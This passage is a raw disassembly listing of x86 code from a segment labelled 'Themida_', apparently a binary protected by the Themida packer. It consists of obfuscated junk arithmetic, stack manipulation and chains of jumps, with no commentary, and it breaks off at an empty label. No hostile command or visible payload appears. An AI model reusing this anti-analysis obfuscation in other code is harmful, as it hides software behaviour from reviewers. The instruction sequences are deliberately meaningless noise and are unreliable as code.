		pop	esp
		mov	[esp], ebx
		mov	bl, ch
		mov	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A3708
; ---------------------------------------------------------------------------


loc_59BAF8:				; CODE XREF: Themida_:005A2C1Bj
		add	esp, 4
		sub	ecx, esi
		push	dword ptr [esp]
		jmp	loc_590F6A
; ---------------------------------------------------------------------------


loc_59BB08:				; CODE XREF: Themida_:0059CB56j
		mov	dh, 93h
		add	bh, 11h
		add	bh, dh
		sub	bh, 11h
		pop	edx
		and	bh, 0BDh
		push	edx
		mov	dh, 0A1h
		not	dh
		jmp	loc_5A2129
; ---------------------------------------------------------------------------


loc_59BB20:				; CODE XREF: Themida_:0059DCE9j
		add	ebp, ebx
		pop	ebx
		push	ebx
		mov	ebx, 34C74C6Ch
		jmp	loc_5A4480
; ---------------------------------------------------------------------------


loc_59BB2E:				; CODE XREF: Themida_:005983B8j
		not	edi
		xchg	edi, ebx
		jmp	loc_59C481
; ---------------------------------------------------------------------------


loc_59BB37:				; CODE XREF: Themida_:0059F75Aj
		sub	edi, 1
		jmp	loc_59C498
; ---------------------------------------------------------------------------


loc_59BB42:				; CODE XREF: Themida_:005A2830j
		add	edx, 4
		jmp	loc_59387A
; ---------------------------------------------------------------------------


loc_59BB4A:				; CODE XREF: Themida_:00596570j
		sub	ecx, eax
		mov	eax, [esp]
		push	esi
		jmp	loc_59CAFF
; ---------------------------------------------------------------------------


loc_59BB55:				; CODE XREF: Themida_:00591963j
		add	esp, 4
		jmp	loc_5A35E4
; ---------------------------------------------------------------------------


loc_59BB5D:				; CODE XREF: Themida_:00598426j
		pop	ebx
		add	esi, 75382404h
		not	esi
		add	esi, 4CA5EBB7h
		xor	ecx, esi
		pop	esi
		add	esi, 0B36206Dh
		sub	esi, 4DC60872h
		add	esi, 19542D26h
		add	esi, ecx
		sub	esi, 19542D26h
		add	esi, 4DC60872h
		push	ebx
		jmp	loc_59BDE8
; ---------------------------------------------------------------------------


loc_59BB95:				; CODE XREF: Themida_:0059F77Fj
		add	eax, esi
		pop	esi
		push	edi
		mov	edi, 4
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59BBAD:				; CODE XREF: Themida_:0059EF7Dj
		pop	ebx
		jmp	loc_59AD01
; ---------------------------------------------------------------------------
		push	471Dh
		push	0CA0h
		mov	[esp], esp
		jmp	loc_596F04
; ---------------------------------------------------------------------------


loc_59BBC5:				; CODE XREF: Themida_:0059A940j
		mov	fs:[edx], al
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59BBCD:				; CODE XREF: Themida_:0059F826j
		sub	edi, 3CAC4FFBh
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59B917
; ---------------------------------------------------------------------------


loc_59BBF0:				; CODE XREF: Themida_:005A116Dj
		sub	edx, 0AF8DB7BEh
		add	eax, edx
		pop	edx
		jmp	$+5
		xchg	eax, [esp]
		mov	esp, [esp]
		and	[esp], al
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59BC0D:				; CODE XREF: Themida_:0059F1A9j
		shl	esi, 2
		dec	esi
		or	esi, 13EF7ABDh
		add	esi, 2F4FF13Ch
		xor	edx, esi
		jmp	loc_59D132
; ---------------------------------------------------------------------------


loc_59BC24:				; CODE XREF: Themida_:00596722j
		or	edx, 0D2C6BDDh
		push	esi
		jmp	loc_5974B5
; ---------------------------------------------------------------------------


loc_59BC30:				; CODE XREF: Themida_:00595E45j
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	0B9A5E8Fh
		jmp	loc_59CEEE
; ---------------------------------------------------------------------------


loc_59BC42:				; CODE XREF: Themida_:00596E02j
		push	ebx
		mov	ebx, 28EB554Dh
		jmp	loc_598065
; ---------------------------------------------------------------------------


loc_59BC4D:				; CODE XREF: Themida_:0059211Dj
		add	edi, 4
		jmp	loc_5A3985
; ---------------------------------------------------------------------------


loc_59BC58:				; CODE XREF: Themida_:0059EC81j
		mov	[esp], edx
		push	esi
		push	80h
		pop	esi
		push	esi
		sub	dword ptr [esp], 23C25D4Bh
		pop	edx
		add	edx, 23C25D4Bh
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_590ABC
; ---------------------------------------------------------------------------


loc_59BC8B:				; CODE XREF: Themida_:00592F25j
		mov	eax, 31D305Ah
		or	eax, 52F330EFh
		and	eax, 58FE6EC8h
		sub	eax, 2BCA0584h
		add	ecx, eax
		pop	eax
		mov	ebp, ecx
		pop	ecx
		sub	dword ptr [esp+8], 0F6F3C3Bh
		jmp	loc_594071
; ---------------------------------------------------------------------------


loc_59BCB2:				; CODE XREF: Themida_:0059BCEAj
		dec	esi
		add	esi, 0B1239437h
		mov	ebp, esi
		pop	esi
		push	ecx
		jmp	loc_593B4F
; ---------------------------------------------------------------------------


loc_59BCC2:				; CODE XREF: Themida_:00592472j
		xor	ebp, edx
		pop	edx
		sub	esi, 671D3376h
		jmp	loc_5A38D5
; ---------------------------------------------------------------------------


loc_59BCD0:				; CODE XREF: Themida_:005A1D9Cj
		pop	eax
		mov	[ebx], al
		pop	ebx
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59BCD9:				; CODE XREF: Themida_:00598442j
		mov	esi, 29FF0EA0h
		add	esi, 568C4B98h
		add	esi, 31DD1C96h
		jmp	loc_59BCB2
; ---------------------------------------------------------------------------


loc_59BCEF:				; CODE XREF: Themida_:0059D01Bj
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59BCFE:				; CODE XREF: Themida_:00594C45j
		mov	edi, 4
		add	ebx, edi
		jmp	loc_5A10A7
; ---------------------------------------------------------------------------


loc_59BD0A:				; CODE XREF: Themida_:005994F6j
		mov	edi, 4
		jmp	loc_5A2417
; ---------------------------------------------------------------------------


loc_59BD14:				; CODE XREF: Themida_:00598ED0j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5A03DA
; ---------------------------------------------------------------------------


loc_59BD26:				; CODE XREF: Themida_:005A0C70j
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_59CB0C
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 5A95BAAh
		push	edx
		push	5618h
		mov	[esp], ebp
		push	555D6323h
		pop	ebp
		and	ebp, 0B001D27h
		add	ebp, 78C93FE4h
		xor	ebp, 27E435E3h
		add	ebp, 0FD57F6E3h
		mov	edx, ebp
		jmp	loc_5A54E3
; ---------------------------------------------------------------------------


loc_59BD65:				; CODE XREF: Themida_:00595353j
		mov	[esp], eax
		push	78FC0D04h
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4B21357Eh
		sub	edx, 54ED03FAh
		push	ebx
		mov	ebx, 35034008h
		xor	ebx, 35034009h
		add	edx, ebx
		pop	ebx
		inc	edx
		jmp	loc_59F6F0
; ---------------------------------------------------------------------------


loc_59BD97:				; CODE XREF: Themida_:00596812j
		add	esi, 4
		jmp	loc_598F97
; ---------------------------------------------------------------------------


loc_59BDA2:				; CODE XREF: Themida_:005928A0j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A35CD
; ---------------------------------------------------------------------------


loc_59BDB0:				; CODE XREF: Themida_:0059A711j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_59F8B8
; ---------------------------------------------------------------------------


loc_59BDC2:				; CODE XREF: Themida_:0059B216j
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59BDD8:				; CODE XREF: Themida_:00592C43j
		add	esi, edx
		add	esi, 6B4F58C2h
		mov	edx, [esp]
		jmp	loc_59C5C0
; ---------------------------------------------------------------------------


loc_59BDE8:				; CODE XREF: Themida_:0059BB90j
		mov	ebx, 32480AEAh
		xchg	edi, ebx
		inc	edi
		xchg	edi, ebx
		neg	ebx
		add	ebx, 5CF329CDh
		and	ebx, 4A111C6h
		add	ebx, 979713Ah
		xor	ebx, 12CA191h
		jmp	loc_59F6DE
; ---------------------------------------------------------------------------


loc_59BE11:				; CODE XREF: Themida_:005A3275j
		xor	ebp, 6BC060F9h
		inc	ebp
		xor	ebp, 680558E7h
		jmp	loc_5A35FA
; ---------------------------------------------------------------------------


loc_59BE23:				; CODE XREF: Themida_:00595472j
		xor	ecx, [esp]
		jmp	loc_594512
; ---------------------------------------------------------------------------


loc_59BE2B:				; CODE XREF: Themida_:00591431j
		push	edx
		mov	edx, 30BB3977h
		and	edi, edx
		pop	edx
		push	edi
		dec	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		dec	edi
		add	edi, 0EF77EEB0h
		jmp	loc_59234B
; ---------------------------------------------------------------------------


loc_59BE4D:				; CODE XREF: Themida_:005A4DA8j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	7CC1h
		mov	[esp], eax
		push	3E4Bh
		mov	[esp], edi
		mov	edi, 5455269Dh
		push	esi
		mov	esi, 3F416FBh
		not	esi
		shr	esi, 8
		sub	esi, 0F22B9D72h
		and	edi, esi
		pop	esi
		push	ebp
		jmp	loc_594F11
; ---------------------------------------------------------------------------


loc_59BE95:				; CODE XREF: Themida_:005A2CECj
		mov	esp, [esp]
		jmp	loc_5A262B
; ---------------------------------------------------------------------------


loc_59BE9D:				; CODE XREF: Themida_:00592935j
		sub	edi, edx
		push	eax
		mov	eax, 5C4D74C4h
		not	eax
		jmp	loc_59949D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A0874
; ---------------------------------------------------------------------------


loc_59BEBE:				; CODE XREF: Themida_:0059DCA7j
		xor	eax, esi
		pop	esi
		sub	eax, 43444E53h
		xor	eax, 487D0E5Ch
		inc	eax
		add	eax, 6F2E1047h
		jmp	loc_59D8B9
; ---------------------------------------------------------------------------


loc_59BED6:				; CODE XREF: Themida_:00594D9Dj
		add	ecx, 6E41370Fh
		mov	edi, [esp]
		push	78FFh
		mov	[esp], edi
		jmp	loc_59264A
; ---------------------------------------------------------------------------


loc_59BEEC:				; CODE XREF: Themida_:005A2C9Aj
		add	ecx, eax
		pop	eax
		add	ecx, 4
		jmp	loc_592F55
; ---------------------------------------------------------------------------


loc_59BEF7:				; CODE XREF: Themida_:00593083j
		shr	edi, 6
		jmp	loc_5A56A5
; ---------------------------------------------------------------------------


loc_59BEFF:				; CODE XREF: Themida_:0059D69Dj
		sub	eax, 79EA5875h
		jmp	loc_593B8E
; ---------------------------------------------------------------------------


loc_59BF09:				; CODE XREF: Themida_:005999CAj
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_599270
; ---------------------------------------------------------------------------


loc_59BF18:				; CODE XREF: Themida_:00590C25j
		add	esp, 2
		xor	al, bh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0D1h
		sub	esp, 4
		mov	[esp], edx
		mov	dh, cl
		push	edx
		mov	dh, bl
		jmp	loc_5A07AD
; ---------------------------------------------------------------------------


loc_59BF4E:				; CODE XREF: Themida_:00595F0Aj
		push	ebp
		jmp	loc_5A4834
; ---------------------------------------------------------------------------


loc_59BF54:				; CODE XREF: Themida_:0059A295j
		not	ebx
		jmp	loc_598E36
; ---------------------------------------------------------------------------


loc_59BF5B:				; CODE XREF: Themida_:005A0B60j
		push	edx
		push	ebp
		jmp	loc_59FB4F
; ---------------------------------------------------------------------------


loc_59BF62:				; CODE XREF: Themida_:005903EEj
		pop	ebx
		push	edx
		push	ecx
		mov	cl, 1Bh
		dec	cl
		shl	cl, 6
		push	bx
		jmp	loc_590B1D
; ---------------------------------------------------------------------------


loc_59BF73:				; CODE XREF: Themida_:005918D8j
		add	eax, ebp
		jmp	loc_59AECD
; ---------------------------------------------------------------------------


loc_59BF7A:				; CODE XREF: Themida_:0059736Bj
		push	edx
		mov	edx, 9491E77h
		jmp	loc_5A05CE
; ---------------------------------------------------------------------------


loc_59BF85:				; CODE XREF: Themida_:0059B228j
		mov	ebp, 127377D0h
		add	ebx, ebp
		pop	ebp
		sub	ebx, 6DB2187Dh
		add	ebx, ecx
		jmp	loc_59AC8A
; ---------------------------------------------------------------------------


loc_59BF9A:				; CODE XREF: Themida_:0059A8CCj
		neg	esi
		add	esi, 0FFFFFFFFh
		push	ebp
		mov	ebp, 25BC6E11h
		or	esi, ebp
		pop	ebp
		push	26FCh
		jmp	loc_592A99
; ---------------------------------------------------------------------------


loc_59BFB2:				; CODE XREF: Themida_:00597559j
		mov	ecx, [esp]
		add	esp, 4
		movzx	eax, al
		mov	dx, [esp]
		push	1368h
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		push	edx
		push	0ED2693h
		pop	edx
		dec	edx
		push	eax
		jmp	loc_59E205
; ---------------------------------------------------------------------------


loc_59BFDB:				; CODE XREF: Themida_:00598C6Aj
		push	edi
		jmp	loc_5904F0
; ---------------------------------------------------------------------------


loc_59BFE1:				; CODE XREF: Themida_:0059D51Aj
		inc	ebp
		shr	ebp, 6
		xor	ebp, 358D7B59h
		add	ebp, 77CF1AC2h
		jmp	loc_599476
; ---------------------------------------------------------------------------


loc_59BFF6:				; CODE XREF: Themida_:005A0DF6j
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 66764949h
		and	ebp, 5B48307Bh
		neg	ebp
		jmp	loc_5942E6
; ---------------------------------------------------------------------------


loc_59C01A:				; CODE XREF: Themida_:005A2857j
		sub	eax, ebp
		sub	eax, 2F181CD2h
		pop	ebp
		add	eax, ebx
		jmp	loc_59251B
; ---------------------------------------------------------------------------


loc_59C029:				; CODE XREF: Themida_:005906CFj
		add	esp, 4
		not	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 41702A27h
		and	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 0FFF00004h
		jmp	loc_595657
; ---------------------------------------------------------------------------


loc_59C04F:				; CODE XREF: Themida_:005A19D2j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		jmp	loc_5A546F
; ---------------------------------------------------------------------------


loc_59C060:				; CODE XREF: Themida_:0059392Ej
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 2
		xor	edi, [esp]
		jmp	loc_5A00B8
; ---------------------------------------------------------------------------


loc_59C079:				; CODE XREF: Themida_:0059B66Cj
		movzx	cx, ah
		push	small 252Fh
		mov	[esp], cx
		jmp	loc_593A1B
; ---------------------------------------------------------------------------


loc_59C08A:				; CODE XREF: Themida_:00593835j
		mov	edx, 23381FE5h
		sub	edx, 0E802B0B9h
		jmp	loc_59AC59
; ---------------------------------------------------------------------------


loc_59C09A:				; CODE XREF: Themida_:0059E9CDj
		mov	edx, 43167B5Eh
		shr	edx, 1
		push	ecx
		mov	ecx, 0DE05303h
		sub	ecx, 9AB512ACh
		xor	edx, ecx
		mov	ecx, [esp]
		jmp	loc_59119C
; ---------------------------------------------------------------------------


loc_59C0B7:				; CODE XREF: Themida_:00595372j
		mov	dl, bh
		jmp	loc_592028
; ---------------------------------------------------------------------------


loc_59C0BE:				; CODE XREF: Themida_:0059D1BEj
		dec	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, 0F48C1C16h
		xor	ebp, ecx
		pop	ecx
		add	ecx, ebp
		jmp	loc_5A12EA
; ---------------------------------------------------------------------------


loc_59C0D2:				; CODE XREF: Themida_:00591E3Cj
		push	dword ptr [esp]
		pop	esi
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_5A51C4
; ---------------------------------------------------------------------------


loc_59C0F4:				; CODE XREF: Themida_:0059D70Cj
		add	esp, 4
		xor	eax, esi
		jmp	loc_5981E9
; ---------------------------------------------------------------------------


loc_59C101:				; CODE XREF: Themida_:005A2295j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_596745
; ---------------------------------------------------------------------------


loc_59C10C:				; CODE XREF: Themida_:00593575j
		push	eax
		mov	eax, esp
		jmp	loc_59413A
; ---------------------------------------------------------------------------


loc_59C114:				; CODE XREF: Themida_:00592489j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_59D929
; ---------------------------------------------------------------------------


loc_59C11F:				; CODE XREF: Themida_:005980B2j
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 0D8h
		push	ax
		mov	al, 0FFh
		add	ch, 0E5h
		sub	ch, al
		sub	ch, 0E5h
		pop	ax
		add	ch, 2Bh
		add	al, 0B0h
		sub	al, ch
		push	101Eh
		mov	[esp], edx
		mov	dh, 0B0h
		add	al, 99h
		sub	al, dh
		sub	al, 99h
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_597D20
; ---------------------------------------------------------------------------


loc_59C15A:				; CODE XREF: Themida_:0059D8F1j
		push	1FFBh
		mov	[esp], edi
		jmp	loc_591750
; ---------------------------------------------------------------------------


loc_59C167:				; CODE XREF: Themida_:0059FB34j
		xor	edx, 599724F6h
		pop	ebp
		sub	edx, 1F227267h
		jmp	loc_59ADC0
; ---------------------------------------------------------------------------


loc_59C179:				; CODE XREF: Themida_:005A15DEj
		pop	esp
		xchg	edi, [esp]
		jmp	loc_590CE9
; ---------------------------------------------------------------------------


loc_59C182:				; CODE XREF: Themida_:0059DEE3j
		mov	[esp], ebp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5952AB
; ---------------------------------------------------------------------------


loc_59C1A8:				; CODE XREF: Themida_:00593725j
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_59FA3A
; ---------------------------------------------------------------------------


loc_59C1B9:				; CODE XREF: Themida_:00596A26j
		pop	edi
		pop	ebp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_5A1AE2
; ---------------------------------------------------------------------------


loc_59C1CE:				; CODE XREF: Themida_:005A3C9Fj
		mov	edx, ecx
		pop	ecx
		pop	edi
		jmp	loc_5972CA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5A034F
; ---------------------------------------------------------------------------


loc_59C1F1:				; CODE XREF: Themida_:00597FADj
		not	esi
		sub	esi, 9C7C77D0h
		sub	ecx, esi
		pop	esi
		add	ecx, ebp
		jmp	loc_5A056D
; ---------------------------------------------------------------------------


loc_59C203:				; CODE XREF: Themida_:005A28D7j
		sub	ecx, ebp
		jmp	loc_599ACE
; ---------------------------------------------------------------------------


loc_59C20A:				; CODE XREF: Themida_:0059F6EBj
		sub	ebp, 75A05348h
		pop	ecx
		sub	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_59F2D8
; ---------------------------------------------------------------------------


loc_59C222:				; CODE XREF: Themida_:005964FEj
		add	ecx, 0FFFFFFFFh
		shr	ecx, 2
		push	ebp
		mov	ebp, 11535484h
		add	ecx, 263627E0h
		sub	ecx, 18C32699h
		sub	ecx, 778E54A6h
		sub	ecx, ebp
		add	ecx, 778E54A6h
		add	ecx, 18C32699h
		push	ebp
		mov	ebp, 286B37A5h
		sub	ebp, 75233B54h
		shr	ebp, 8
		add	ebp, 324C3C94h
		or	ebp, 29582CBFh
		add	ebp, 0EA367B21h
		jmp	loc_59C70B
; ---------------------------------------------------------------------------


loc_59C274:				; CODE XREF: Themida_:00599669j
		add	edi, 4
		jmp	loc_5945EC
; ---------------------------------------------------------------------------


loc_59C27C:				; CODE XREF: Themida_:00590BDBj
		pop	edi
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_59ED96
; ---------------------------------------------------------------------------


loc_59C290:				; CODE XREF: Themida_:00594D92j
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_59B87A
		push	2A93h
		mov	[esp], edx
		push	ecx
		push	ebx
		mov	ebx, 6506466Ah
		push	ebx
		sub	dword ptr [esp], 6D85233Eh
		pop	ecx
		add	ecx, 6D85233Eh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A167E
; ---------------------------------------------------------------------------


loc_59C2D6:				; CODE XREF: Themida_:00596E41j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	57E45D34h
		pop	eax
		push	ecx
		jmp	loc_59C8B0
; ---------------------------------------------------------------------------


loc_59C2EA:				; CODE XREF: Themida_:0059AD77j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_593EAA
; ---------------------------------------------------------------------------


loc_59C2F5:				; CODE XREF: Themida_:00598C00j
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_5A2A36
; ---------------------------------------------------------------------------


loc_59C2FF:				; CODE XREF: Themida_:00597F10j
		dec	edi
		add	edi, 1D2FAEB6h
		sub	ebx, edi
		pop	edi
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5999B3
; ---------------------------------------------------------------------------


loc_59C329:				; CODE XREF: Themida_:00592282j
		add	esi, 0D0AE5189h
		sub	eax, esi
		mov	esi, [esp]
		jmp	loc_5A365A
; ---------------------------------------------------------------------------


loc_59C339:				; CODE XREF: Themida_:005A40EFj
		xchg	ebx, [esp]
		pop	esp
		dec	edx
		push	40EAh
		mov	[esp], eax
		mov	eax, 34EF380Bh
		add	edx, 218D2EF9h
		add	edx, eax
		jmp	loc_59967A
; ---------------------------------------------------------------------------


loc_59C358:				; CODE XREF: Themida_:0059833Bj
		pop	esp
		push	edx
		push	edi
		push	eax
		mov	eax, 6D6B012Ch
		xor	eax, 576C44F9h
		shr	eax, 8
		neg	eax
		xor	eax, 0DCF0D3CCh
		mov	edi, eax
		pop	eax
		jmp	loc_5A22E2
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59DFA1
; ---------------------------------------------------------------------------


loc_59C38A:				; CODE XREF: Themida_:00595D53j
		push	edi
		mov	edi, 6DA25331h
		jmp	loc_595E32
; ---------------------------------------------------------------------------


loc_59C395:				; CODE XREF: Themida_:0059965Dj
		mov	eax, 0E1ED33C8h
		sub	ebx, eax
		pop	eax
		sub	eax, ebx
		pop	ebx
		push	esi
		jmp	loc_5A56FE
; ---------------------------------------------------------------------------


loc_59C3A6:				; CODE XREF: Themida_:005A1F91j
		not	cl
		xchg	cl, ah
		add	ah, 0FFh
		jmp	loc_591115
; ---------------------------------------------------------------------------


loc_59C3B2:				; CODE XREF: Themida_:0059D5BAj
		pop	cx
		xor	dh, al
		pop	eax
		push	cx
		mov	cl, 3Fh
		add	al, cl
		mov	cx, [esp]
		add	esp, 2
		sub	al, dh
		sub	al, 3Fh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_598EAF
; ---------------------------------------------------------------------------


loc_59C3D9:				; CODE XREF: Themida_:0059DB60j
		xor	esi, 1092789Ah
		xor	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4


loc_59C3EB:				; CODE XREF: Themida_:0059E757j
		push	5DC8h
		jmp	loc_59DC5B
; ---------------------------------------------------------------------------


loc_59C3F5:				; CODE XREF: Themida_:00595B95j
		xor	ecx, 0B2620CAh
		shr	ecx, 5
		sub	ecx, 3C8020Eh
		push	ecx
		mov	ecx, 4D07039Ah
		sub	ecx, 662D2FE1h
		or	ecx, 480B30FDh
		jmp	loc_59D4A9
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_59316A
; ---------------------------------------------------------------------------


loc_59C42D:				; CODE XREF: Themida_:0059DE24j
		or	ebp, 3D9B0FE7h
		jmp	loc_598C5D
; ---------------------------------------------------------------------------


loc_59C438:				; CODE XREF: Themida_:0059CD7Dj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_598C6F
; ---------------------------------------------------------------------------


loc_59C452:				; CODE XREF: Themida_:0059FB5Aj
		neg	ebp
		or	ebp, 480A2E5Dh
		jmp	loc_5938C0
; ---------------------------------------------------------------------------


loc_59C45F:				; CODE XREF: Themida_:0059CAFAj
		sub	ebx, eax
		push	ecx
		mov	ecx, 24305ADEh
		jmp	loc_593F0F
; ---------------------------------------------------------------------------


loc_59C46C:				; CODE XREF: Themida_:0059E54Ej
		push	dword ptr [esp+4]
		jmp	loc_599090
; ---------------------------------------------------------------------------


loc_59C475:				; CODE XREF: Themida_:0059ECDAj
		pop	eax
		sub	edi, 0E2F1E29h
		jmp	loc_59DFC9
; ---------------------------------------------------------------------------


loc_59C481:				; CODE XREF: Themida_:0059BB32j
		inc	ebx
		xor	ebx, 0BFEAE30Ah
		jmp	loc_5972A4
; ---------------------------------------------------------------------------


loc_59C48D:				; CODE XREF: Themida_:005A4B27j
		sub	ch, 56h
		xor	ch, 0ADh
		jmp	loc_59AAB5
; ---------------------------------------------------------------------------


loc_59C498:				; CODE XREF: Themida_:0059BB3Dj
		shl	edi, 3
		push	ebp
		push	ebx
		push	ecx
		mov	ecx, 0D1127AFAh
		mov	ebx, ecx
		jmp	loc_5A4B08
; ---------------------------------------------------------------------------


loc_59C4AA:				; CODE XREF: Themida_:005A196Dj
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59EA4C
; ---------------------------------------------------------------------------


loc_59C4BE:				; CODE XREF: Themida_:005A4054j
		push	ecx
		jmp	loc_5939EB
; ---------------------------------------------------------------------------


loc_59C4C4:				; CODE XREF: Themida_:0059B204j
		add	esp, 4
		add	edx, 2
		xor	edx, [esp]
		jmp	loc_5A22D0
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_590687
; ---------------------------------------------------------------------------


loc_59C4E6:				; CODE XREF: Themida_:005A3E31j
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5945F4
; ---------------------------------------------------------------------------


loc_59C4F3:				; CODE XREF: Themida_:00590FC9j
		push	2B17h
		mov	[esp], esi
		push	edx
		push	394702EEh
		pop	edx
		or	edx, 45880FD3h
		jmp	loc_591909
; ---------------------------------------------------------------------------


loc_59C50D:				; CODE XREF: Themida_:0059A210j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_5A17D6
; ---------------------------------------------------------------------------


loc_59C520:				; CODE XREF: Themida_:005913BFj
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ecx
		push	ebx
		push	4E8B1320h
		jmp	loc_5A1052
; ---------------------------------------------------------------------------


loc_59C53D:				; CODE XREF: Themida_:005A1E01j
		push	esi
		jmp	loc_59AA48
; ---------------------------------------------------------------------------


loc_59C543:				; CODE XREF: Themida_:00599549j
		add	esp, 4
		jmp	loc_5A39B6
; ---------------------------------------------------------------------------


loc_59C54E:				; CODE XREF: Themida_:00591127j
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	ebp
		push	esi
		jmp	loc_59CFAD
; ---------------------------------------------------------------------------


loc_59C55E:				; CODE XREF: Themida_:005A4BD2j
		push	esp
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	esi
		jmp	loc_598109
; ---------------------------------------------------------------------------


loc_59C574:				; CODE XREF: Themida_:00592524j
		mov	ebp, 5DC71B19h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 52C82E52h
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 254D3DC9h
		jmp	loc_5959ED
; ---------------------------------------------------------------------------


loc_59C5AB:				; CODE XREF: Themida_:00592CFCj
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5A3815
; ---------------------------------------------------------------------------


loc_59C5B9:				; CODE XREF: Themida_:00595E8Fj
		xor	edx, edx
		jmp	loc_59B3E7
; ---------------------------------------------------------------------------


loc_59C5C0:				; CODE XREF: Themida_:0059BDE3j
		add	esp, 4
		jmp	loc_5A0CC8
; ---------------------------------------------------------------------------


loc_59C5C8:				; CODE XREF: Themida_:00594E56j
